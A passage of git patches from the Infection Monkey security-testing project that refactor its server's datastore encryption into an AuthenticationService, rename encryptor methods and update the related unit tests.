monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( + PasswordBasedBytesEncryptor, + InvalidCredentialsError, + InvalidCiphertextError, ) from .data_store_encryptor import initialize_datastore_encryptor, get_datastore_encryptor -from .password_based_bytes_encryption import InvalidCredentialsError, InvalidCiphertextError from .dict_encryption.dict_encryptor import ( SensitiveField, encrypt_dict, diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/i_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/i_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryption.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryption.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py similarity index 90% rename from monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py rename to monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py index 716455a5b..9f99f735b 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptior.py @@ -4,7 +4,7 @@ import logging import pyAesCrypt from monkey_island.cc.server_utils.encryption import IEncryptor -from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( +from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( PasswordBasedBytesEncryptor, ) From 3ec26bcef84d593f1a5f8651878273a1ecec9018 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 12:03:30 +0300 Subject: [PATCH 310/454] Refactor data store encryptor to IEncryptor interface, move data store encryptor creation related code to data_store_encryptor.py, move the reponsibility to initialize data store encryptor to AuthenticationService --- .../monkey_island/cc/resources/auth/auth.py | 8 +- .../cc/resources/auth/registration.py | 8 +- monkey/monkey_island/cc/server_setup.py | 3 - .../encryption/data_store_encryptor.py | 62 ++++++++++----- .../mimikatz_results_encryptor.py | 8 +- .../field_encryptors/string_list_encryptor.py | 4 +- .../encryption/encryptor_factory.py | 75 ------------------- .../technique_report_tools.py | 4 +- .../cc/services/authentication.py | 35 +++++++++ monkey/monkey_island/cc/services/config.py | 26 +++---- .../monkey_island/cc/services/initialize.py | 2 + .../services/telemetry/processing/exploit.py | 2 +- .../telemetry/processing/system_info.py | 2 +- .../scoutsuite/scoutsuite_auth_service.py | 2 +- 14 files changed, 111 insertions(+), 130 deletions(-) delete mode 100644 monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py create mode 100644 monkey/monkey_island/cc/services/authentication.py diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 9a693e80d..92a372a99 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -13,10 +13,7 @@ from monkey_island.cc.resources.auth.credential_utils import ( get_username_password_from_request, password_matches_hash, ) -from monkey_island.cc.server_utils.encryption import ( - get_datastore_encryptor, - initialize_datastore_encryptor, -) +from monkey_island.cc.services.authentication import AuthenticationService logger = logging.getLogger(__name__) @@ -47,8 +44,7 @@ class Authenticate(flask_restful.Resource): username, password = get_username_password_from_request(request) if _credentials_match_registered_user(username, password): - if not get_datastore_encryptor(): - initialize_datastore_encryptor(username, password) + AuthenticationService.ensure_datastore_encryptor(username, password) access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 82dbcfe3a..670fa4d19 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -9,10 +9,7 @@ from monkey_island.cc.resources.auth.credential_utils import ( get_user_credentials_from_request, get_username_password_from_request, ) -from monkey_island.cc.server_utils.encryption import ( - initialize_datastore_encryptor, - remove_old_datastore_key, -) +from monkey_island.cc.services.authentication import AuthenticationService from monkey_island.cc.setup.mongo.database_initializer import reset_database logger = logging.getLogger(__name__) @@ -28,9 +25,8 @@ class Registration(flask_restful.Resource): try: env_singleton.env.try_add_user(credentials) - remove_old_datastore_key() username, password = get_username_password_from_request(request) - initialize_datastore_encryptor(username, password) + AuthenticationService.reset_datastore_encryptor(username, password) reset_database() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 82c1b3a58..fdb94b67f 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -11,8 +11,6 @@ from gevent.pywsgi import WSGIServer # Add the monkey_island directory to the path, to make sure imports that don't start with # "monkey_island." work. -from monkey_island.cc.server_utils.encryption import initialize_encryptor_factory - MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) @@ -88,7 +86,6 @@ def _configure_logging(config_options): def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) - initialize_encryptor_factory(config_options.data_dir) initialize_services(config_options.data_dir) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 949102c84..fb38e95a8 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,29 +1,57 @@ -from __future__ import annotations - -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but -# is maintained. +import os from typing import Union -from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor +from Crypto import Random # noqa: DUO133 # nosec: B413 -_encryptor: Union[None, DataStoreEncryptor] = None +from monkey_island.cc.server_utils.encryption import IEncryptor, KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryption import ( + PasswordBasedBytesEncryptor, +) +from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file + +_KEY_FILENAME = "mongo_key.bin" +_BLOCK_SIZE = 32 + +_encryptor: Union[None, IEncryptor] = None -class DataStoreEncryptor: - def __init__(self, key_based_encryptor: KeyBasedEncryptor): - self._key_based_encryptor = key_based_encryptor - - def enc(self, message: str): - return self._key_based_encryptor.encrypt(message) - - def dec(self, enc_message: str): - return self._key_based_encryptor.decrypt(enc_message) +def _load_existing_key(key_file_path: str, secret: str): + with open(key_file_path, "rb") as f: + encrypted_key = f.read() + cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) + return KeyBasedEncryptor(cipher_key) -def initialize_datastore_encryptor(key_based_encryptor: KeyBasedEncryptor): +def _create_new_key(key_file_path: str, secret: str): + cipher_key = _get_random_bytes() + encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) + with open_new_securely_permissioned_file(key_file_path, "wb") as f: + f.write(encrypted_key) + return KeyBasedEncryptor(cipher_key) + + +def _get_random_bytes() -> bytes: + return Random.new().read(_BLOCK_SIZE) + + +def remove_old_datastore_key(key_file_dir: str): + key_file_path = _get_key_file_path(key_file_dir) + if os.path.isfile(key_file_path): + os.remove(key_file_path) + + +def initialize_datastore_encryptor(key_file_dir: str, secret: str): global _encryptor - _encryptor = DataStoreEncryptor(key_based_encryptor) + key_file_path = _get_key_file_path(key_file_dir) + if os.path.exists(key_file_path): + _encryptor = _load_existing_key(key_file_path, secret) + else: + _encryptor = _create_new_key(key_file_path, secret) + + +def _get_key_file_path(key_file_dir: str): + return os.path.join(key_file_dir, _KEY_FILENAME) def get_datastore_encryptor(): diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py index 6261f5147..ff2ee314e 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py @@ -17,7 +17,7 @@ class MimikatzResultsEncryptor(IFieldEncryptor): for _, credentials in results.items(): for secret_type in MimikatzResultsEncryptor.secret_types: try: - credentials[secret_type] = get_datastore_encryptor().enc( + credentials[secret_type] = get_datastore_encryptor().encrypt( credentials[secret_type] ) except ValueError as e: @@ -25,12 +25,14 @@ class MimikatzResultsEncryptor(IFieldEncryptor): f"Failed encrypting sensitive field for " f"user {credentials['username']}! Error: {e}" ) - credentials[secret_type] = get_datastore_encryptor().enc("") + credentials[secret_type] = get_datastore_encryptor().encrypt("") return results @staticmethod def decrypt(results: dict) -> dict: for _, credentials in results.items(): for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_datastore_encryptor().dec(credentials[secret_type]) + credentials[secret_type] = get_datastore_encryptor().decrypt( + credentials[secret_type] + ) return results diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py index 46eef09cb..04374c462 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py @@ -9,8 +9,8 @@ from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors i class StringListEncryptor(IFieldEncryptor): @staticmethod def encrypt(value: List[str]): - return [get_datastore_encryptor().enc(string) for string in value] + return [get_datastore_encryptor().encrypt(string) for string in value] @staticmethod def decrypt(value: List[str]): - return [get_datastore_encryptor().dec(string) for string in value] + return [get_datastore_encryptor().decrypt(string) for string in value] diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py b/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py deleted file mode 100644 index 0ae3e70a6..000000000 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py +++ /dev/null @@ -1,75 +0,0 @@ -import os - -from Crypto import Random - -from monkey_island.cc.server_utils.encryption import ( - KeyBasedEncryptor, - initialize_datastore_encryptor, -) -from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( - PasswordBasedBytesEncryptor, -) -from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file - -_KEY_FILENAME = "mongo_key.bin" -_BLOCK_SIZE = 32 - - -class EncryptorFactory: - def __init__(self): - self.key_file_path = None - self.secret = None - - def set_key_file_path(self, key_file_path: str): - self.key_file_path = key_file_path - - def set_secret(self, username: str, password: str): - self.secret = _get_secret_from_credentials(username, password) - - def initialize_encryptor(self): - if os.path.exists(self.key_file_path): - key_based_encryptor = _load_existing_key(self.key_file_path, self.secret) - else: - key_based_encryptor = _create_new_key(self.key_file_path, self.secret) - initialize_datastore_encryptor(key_based_encryptor) - - -class KeyPathNotSpecifiedError(Exception): - pass - - -def _load_existing_key(key_file_path: str, secret: str): - with open(key_file_path, "rb") as f: - encrypted_key = f.read() - cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) - return KeyBasedEncryptor(cipher_key) - - -def _create_new_key(key_file_path: str, secret: str): - cipher_key = _get_random_bytes() - encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) - with open_new_securely_permissioned_file(key_file_path, "wb") as f: - f.write(encrypted_key) - return KeyBasedEncryptor(cipher_key) - - -def _get_random_bytes() -> bytes: - return Random.new().read(_BLOCK_SIZE) - - -def _get_secret_from_credentials(username: str, password: str) -> str: - return f"{username}:{password}" - - -def remove_old_datastore_key(): - if not _factory.key_file_path: - raise KeyPathNotSpecifiedError - if os.path.isfile(_factory.key_file_path): - os.remove(_factory.key_file_path) - - -def get_encryptor_factory(): - return _factory - - -_factory = EncryptorFactory() diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 16884678b..5bb61bc14 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -29,7 +29,7 @@ def censor_password(password, plain_chars=3, secret_chars=5): """ if not password: return "" - password = get_datastore_encryptor().dec(password) + password = get_datastore_encryptor().decrypt(password) return password[0:plain_chars] + "*" * secret_chars @@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5): """ if not hash_: return "" - hash_ = get_datastore_encryptor().dec(hash_) + hash_ = get_datastore_encryptor().decrypt(hash_) return hash_[0:plain_chars] + " ..." diff --git a/monkey/monkey_island/cc/services/authentication.py b/monkey/monkey_island/cc/services/authentication.py new file mode 100644 index 000000000..ac5400bfd --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication.py @@ -0,0 +1,35 @@ +from monkey_island.cc.server_utils.encryption import ( + get_datastore_encryptor, + initialize_datastore_encryptor, +) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import remove_old_datastore_key + + +class AuthenticationService: + KEY_FILE_DIRECTORY = None + + # TODO: A number of these services should be instance objects instead of + # static/singleton hybrids. At the moment, this requires invasive refactoring that's + # not a priority. + @classmethod + def initialize(cls, key_file_directory): + cls.KEY_FILE_DIRECTORY = key_file_directory + + @staticmethod + def ensure_datastore_encryptor(username: str, password: str): + if not get_datastore_encryptor(): + AuthenticationService._init_encryptor_from_credentials(username, password) + + @staticmethod + def reset_datastore_encryptor(username: str, password: str): + remove_old_datastore_key(AuthenticationService.KEY_FILE_DIRECTORY) + AuthenticationService._init_encryptor_from_credentials(username, password) + + @staticmethod + def _init_encryptor_from_credentials(username: str, password: str): + secret = AuthenticationService._get_secret_from_credentials(username, password) + initialize_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) + + @staticmethod + def _get_secret_from_credentials(username: str, password: str) -> str: + return f"{username}:{password}" diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 973ca104a..6ddcd896f 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -90,9 +90,9 @@ class ConfigService: if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: if isinstance(config, str): - config = get_datastore_encryptor().dec(config) + config = get_datastore_encryptor().decrypt(config) elif isinstance(config, list): - config = [get_datastore_encryptor().dec(x) for x in config] + config = [get_datastore_encryptor().decrypt(x) for x in config] return config @staticmethod @@ -130,7 +130,7 @@ class ConfigService: if item_value in items_from_config: return if should_encrypt: - item_value = get_datastore_encryptor().enc(item_value) + item_value = get_datastore_encryptor().encrypt(item_value) mongo.db.config.update( {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) @@ -350,10 +350,10 @@ class ConfigService: ] else: flat_config[key] = [ - get_datastore_encryptor().dec(item) for item in flat_config[key] + get_datastore_encryptor().decrypt(item) for item in flat_config[key] ] else: - flat_config[key] = get_datastore_encryptor().dec(flat_config[key]) + flat_config[key] = get_datastore_encryptor().decrypt(flat_config[key]) return flat_config @staticmethod @@ -379,25 +379,25 @@ class ConfigService: ) else: config_arr[i] = ( - get_datastore_encryptor().dec(config_arr[i]) + get_datastore_encryptor().decrypt(config_arr[i]) if is_decrypt - else get_datastore_encryptor().enc(config_arr[i]) + else get_datastore_encryptor().encrypt(config_arr[i]) ) else: parent_config_arr[config_arr_as_array[-1]] = ( - get_datastore_encryptor().dec(config_arr) + get_datastore_encryptor().decrypt(config_arr) if is_decrypt - else get_datastore_encryptor().enc(config_arr) + else get_datastore_encryptor().encrypt(config_arr) ) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair["public_key"] = get_datastore_encryptor().enc(pair["public_key"]) - pair["private_key"] = get_datastore_encryptor().enc(pair["private_key"]) + pair["public_key"] = get_datastore_encryptor().encrypt(pair["public_key"]) + pair["private_key"] = get_datastore_encryptor().encrypt(pair["private_key"]) else: - pair["public_key"] = get_datastore_encryptor().dec(pair["public_key"]) - pair["private_key"] = get_datastore_encryptor().dec(pair["private_key"]) + pair["public_key"] = get_datastore_encryptor().decrypt(pair["public_key"]) + pair["private_key"] = get_datastore_encryptor().decrypt(pair["private_key"]) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 6ff0d2706..b6e37bbc7 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -1,3 +1,4 @@ +from monkey_island.cc.services.authentication import AuthenticationService from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService @@ -5,3 +6,4 @@ from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService def initialize_services(data_dir): PostBreachFilesService.initialize(data_dir) LocalMonkeyRunService.initialize(data_dir) + AuthenticationService.initialize(key_file_directory=data_dir) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 7c156930a..e302be5f5 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -76,4 +76,4 @@ def encrypt_exploit_creds(telemetry_json): credential = attempts[i][field] if credential: # PowerShell exploiter's telem may have `None` here if len(credential) > 0: - attempts[i][field] = get_datastore_encryptor().enc(credential) + attempts[i][field] = get_datastore_encryptor().encrypt(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index ba72e822b..7d7f404ce 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -70,7 +70,7 @@ def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): for field in ["public_key", "private_key", "known_hosts"]: if ssh_info[idx][field]: - ssh_info[idx][field] = get_datastore_encryptor().enc(ssh_info[idx][field]) + ssh_info[idx][field] = get_datastore_encryptor().encrypt(ssh_info[idx][field]) def process_credential_info(telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 89aa002fa..b54b3252c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -41,7 +41,7 @@ def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str) def _set_aws_key(key_type: str, key_value: str): path_to_keys = AWS_KEYS_PATH - encrypted_key = get_datastore_encryptor().enc(key_value) + encrypted_key = get_datastore_encryptor().encrypt(key_value) ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) From ea6fe37b44459696ee19a4f4c9523eb2cd084ccb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 12:13:55 +0300 Subject: [PATCH 311/454] Fix scoutsuite unit test to use updated datastore encryptor interface --- .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 32b4f19ad..974377915 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -26,7 +26,7 @@ def test_is_aws_keys_setup(tmp_path): mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) assert not is_aws_keys_setup() - bogus_key_value = get_datastore_encryptor().enc("bogus_aws_key") + bogus_key_value = get_datastore_encryptor().encrypt("bogus_aws_key") dpath.util.set( ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value ) From a2b09a9e7afe582cb67347778b39cbac20e6b5eb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 14:21:07 +0300 Subject: [PATCH 312/454] Fix unit tests for data store encryptor --- .../encryption/data_store_encryptor.py | 8 +-- .../unit_tests/monkey_island/cc/conftest.py | 10 ++- .../encryption/test_data_store_encryptor.py | 65 +++++++++---------- .../cc/services/reporting/test_report.py | 2 +- .../monkey_island/cc/services/test_config.py | 2 + .../cc/services/test_config_manipulator.py | 4 ++ 6 files changed, 44 insertions(+), 47 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index fb38e95a8..6ac0a23ad 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -15,14 +15,14 @@ _BLOCK_SIZE = 32 _encryptor: Union[None, IEncryptor] = None -def _load_existing_key(key_file_path: str, secret: str): +def _load_existing_key(key_file_path: str, secret: str) -> KeyBasedEncryptor: with open(key_file_path, "rb") as f: encrypted_key = f.read() cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) return KeyBasedEncryptor(cipher_key) -def _create_new_key(key_file_path: str, secret: str): +def _create_new_key(key_file_path: str, secret: str) -> KeyBasedEncryptor: cipher_key = _get_random_bytes() encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) with open_new_securely_permissioned_file(key_file_path, "wb") as f: @@ -50,9 +50,9 @@ def initialize_datastore_encryptor(key_file_dir: str, secret: str): _encryptor = _create_new_key(key_file_path, secret) -def _get_key_file_path(key_file_dir: str): +def _get_key_file_path(key_file_dir: str) -> str: return os.path.join(key_file_dir, _KEY_FILENAME) -def get_datastore_encryptor(): +def get_datastore_encryptor() -> IEncryptor: return _encryptor diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index cbd141ac7..7d9642201 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -10,10 +10,8 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) -from monkey_island.cc.server_utils.encryption import ( - initialize_datastore_encryptor, - initialize_encryptor_factory, -) +from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor +from monkey_island.cc.services.authentication import AuthenticationService @pytest.fixture @@ -36,5 +34,5 @@ MOCK_PASSWORD = "3cr3t_p455w0rd" @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_encryptor_factory(data_for_tests_dir) - initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) + secret = AuthenticationService._get_secret_from_credentials(MOCK_USERNAME, MOCK_PASSWORD) + initialize_datastore_encryptor(data_for_tests_dir, secret) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 1d4d23273..7c379af1c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,68 +1,61 @@ import pytest -from tests.unit_tests.monkey_island.cc.conftest import MOCK_PASSWORD, MOCK_USERNAME from monkey_island.cc.server_utils.encryption import ( - FactoryNotInitializedError, data_store_encryptor, - encryptor_factory, get_datastore_encryptor, initialize_datastore_encryptor, - initialize_encryptor_factory, remove_old_datastore_key, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import DataStoreEncryptor -from monkey_island.cc.server_utils.encryption.encryptor_factory import EncryptorFactory PLAINTEXT = "Hello, Monkey!" +MOCK_SECRET = "53CR31" @pytest.mark.usefixtures("uses_encryptor") def test_encryption(data_for_tests_dir): - encrypted_data = get_datastore_encryptor().enc(PLAINTEXT) + encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) assert encrypted_data != PLAINTEXT - decrypted_data = get_datastore_encryptor().dec(encrypted_data) + decrypted_data = get_datastore_encryptor().decrypt(encrypted_data) assert decrypted_data == PLAINTEXT @pytest.fixture -def initialized_key_dir(tmpdir): - initialize_encryptor_factory(tmpdir) - initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) - yield tmpdir +def cleanup_encryptor(): + yield data_store_encryptor._encryptor = None - encryptor_factory._factory = None -def test_key_creation(initialized_key_dir): - assert (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() +@pytest.mark.usefixtures("cleanup_encryptor") +@pytest.fixture +def initialized_encryptor_dir(tmpdir): + initialize_datastore_encryptor(tmpdir, MOCK_SECRET) + return tmpdir -def test_key_removal(initialized_key_dir): - remove_old_datastore_key() - assert not (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() +def test_key_creation(initialized_encryptor_dir): + assert (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() + + +def test_key_removal(initialized_encryptor_dir): + remove_old_datastore_key(initialized_encryptor_dir) + assert not (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() def test_key_removal__no_key(tmpdir): - initialize_encryptor_factory(tmpdir) - assert not (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() + assert not (tmpdir / data_store_encryptor._KEY_FILENAME).isfile() # Make sure no error thrown when we try to remove an non-existing key - remove_old_datastore_key() - encryptor_factory._factory = None - - -def test_encryptor_not_initialized(): - with pytest.raises(FactoryNotInitializedError): - remove_old_datastore_key() - initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) - - -def test_initialize_encryptor(tmpdir): - initialize_encryptor_factory(tmpdir) - assert not (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() - initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) - assert (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() + remove_old_datastore_key(tmpdir) + data_store_encryptor._factory = None +@pytest.mark.usefixtures("cleanup_encryptor") def test_key_file_encryption(tmpdir, monkeypatch): - monkeypatch(DataStoreEncryptor._) + monkeypatch.setattr(data_store_encryptor, "_get_random_bytes", lambda: PLAINTEXT.encode()) + initialize_datastore_encryptor(tmpdir, MOCK_SECRET) + key_file_path = data_store_encryptor._get_key_file_path(tmpdir) + key_file_contents = open(key_file_path, "rb").read() + assert not key_file_contents == PLAINTEXT.encode() + + key_based_encryptor = data_store_encryptor._load_existing_key(key_file_path, MOCK_SECRET) + assert key_based_encryptor._key == PLAINTEXT.encode() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 6829965f2..a16299707 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -156,7 +156,7 @@ def test_get_stolen_creds_exploit(fake_mongo): assert expected_stolen_creds_exploit == stolen_creds_exploit -@pytest.mark.usefixtures("uses_database") +@pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_get_stolen_creds_system_info(fake_mongo): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 799fc40e1..75b3152e5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -18,12 +18,14 @@ def mock_port_in_env_singleton(monkeypatch, PORT): monkeypatch.setattr("monkey_island.cc.services.config.env_singleton", mock_singleton) +@pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_command_servers(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers +@pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_current_server(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) expected_config_current_server = f"{IPS[0]}:{PORT}" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py index 